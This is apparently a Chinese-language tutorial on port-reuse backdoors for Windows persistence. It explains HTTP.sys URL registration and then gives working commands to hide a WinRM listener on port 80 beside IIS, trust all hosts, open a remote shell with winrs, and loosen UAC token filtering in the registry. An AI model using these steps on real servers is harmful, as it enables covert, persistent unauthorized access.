补充一下端口复用的知识
0x01 关于端口复用
端口复用也是很老的后门技术,主要是劫持web服务器相关进程/服务的内存空间、系统API甚至劫持网络驱动去达到目的,
在winsocket的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分。这种多重绑定便称之为端口复用。
这里总结的是基于web服务组合HTTP.sys驱动进行端口服用后门维权。
0x02 Net.TCP Port Sharing
参考:https://docs.microsoft.com/zh-cn/dotnet/framework/wcf/feature-details/configuring-the-net-tcp-port-sharing-service
https://docs.microsoft.com/zh-cn/dotnet/framework/wcf/feature-details/net-tcp-port-sharing
简单来说,刚引入TCP/IP协议的时候,TCP/IP 通过为每一个应用程序协议分配一个唯一的 16 位端口号,从而使用端口号来区分应用程序。
部署使用非标准端口的应用程序经常会因为存在公司防火墙和个人防火墙而变得复杂或者甚至无法实现。
现在使用微软提供的NET.TCP Port Sharing服务,只要遵循相关的开发接口规则,就可以实现不同的应用共享相同的web服务器端口。
在 HTTP.SYS 模型中,许多不同的 HTTP 应用程序的通信中将多路复用到单个 TCP 端口。此模型已经成为 Windows 平台上的标准。 这为防火墙管理员提供了一个公共控制点,同时可以让应用程序开发人员尽可能降低生成可利用网络的新应用程序的部署成本。
在多个 HTTP 应用程序之间共享端口的能力早已成为 Internet 信息服务 (IIS) 的一个功能。 但是,它是仅通过引入 HTTP。使用此基础结构完全得到广泛的 IIS 6.0 SYS (内核模式 HTTP 协议侦听器)。
(1)当IIS或者其他的应用使用HTTP Server API去监听请求路径的时候,这些应用需要在HTTP.SYS上面注册url prefix ,关于注册URL的规则,可以参考MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/aa364698(v=vs.85).aspx 。这是注册的过程。
(2)当一个请求到来并被http.sys获取到,它需要分发这个请求给注册当前url对应的应用,这是路由的过程。
所以到这里,端口复用的概念理解就很简单了,使用HTTP Server API注册不同的Url请求地址,通过http.sys处理分发不同url请求给不同的应用实现端口复用,达到“不同应用共享端口”的效果。
0x03 http.sys && WinRM
HTTP.sys驱动
HTTP.sys驱动是IIS的主要组成部分
使用
netsh http show servicestate
命令可以查看所有在HTTP.sys上注册过的url前缀。
实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。这点从微软公布的WinRM的架构图也可以看出来。
0x04 端口复用正向后门实现
条件:
原生支持基于Net.tcp Port Sharing的Web Application 开发
首先是注册UrlPrefix的格式。
UrlPrefix格式
UrlPrefix具有以下语法:
“方案://主机:端口/ relativeURI”
example:
“http://www.cnblogs.com:80/-qing-/” “https://www.cnblogs.com:443/-qing-/” “https://开头+:80 /虚拟根/”
正向后门程序注册url
C:\Documents and Settings\Administrator>"C:\Documents and Settings\Administrator\桌面\door\d oor.exe" http://192.168.5.35:80/qing_door/qing.html
指定地址连接
还有一种常见的伪端口复用场景:
winsocket默认情况下是不允许多重绑定相同的地址和端口的,我们可以绑定:0.0.0.0和192.168.1.*之类的本地地址。
0x05 WinRM 正向后门
WinRM服务
WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。
开启WinRM服务
在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口
对于Windows 2008来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是
winrm quickconfig -q
这条命令运行后会自动添加防火墙例外规则,放行5985端口。
新增80端口Listener
对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。
使用下面这条命令即可新增一个80端口的listener
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
对于安装Windows 2012及以上版本操作系统的服务器来讲,只需要这一条命令即可实现端口复用。
这时候原本的5985端口还是保留着。
修改端口为80:
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,IIS的web服务也能完全正常运行。
后门连接:
本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可。
winrm quickconfig -q winrm set winrm/config/Client @{TrustedHosts="*"}
连接使用
使用winrs命令即可连接远程WinRM服务执行命令,并返回结果
winrs -r:https://www.cnblogs.com/-qing-/ -u:qing -p:xxxxx whoami
也可以接cmd 获得交互shell。
WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
参考:
https://docs.microsoft.com/zh-cn/dotnet/framework/wcf/feature-details/configuring-the-net-tcp-port-sharing-service
https://docs.microsoft.com/zh-cn/dotnet/framework/wcf/feature-details/net-tcp-port-sharing
http://mobile.51cto.com/hot-557084.htm
https://www.freebuf.com/articles/web/142628.html
https://www.secrss.com/articles/12696
https://msdn.microsoft.com/en-us/library/windows/desktop/aa364698(v=vs.85).aspx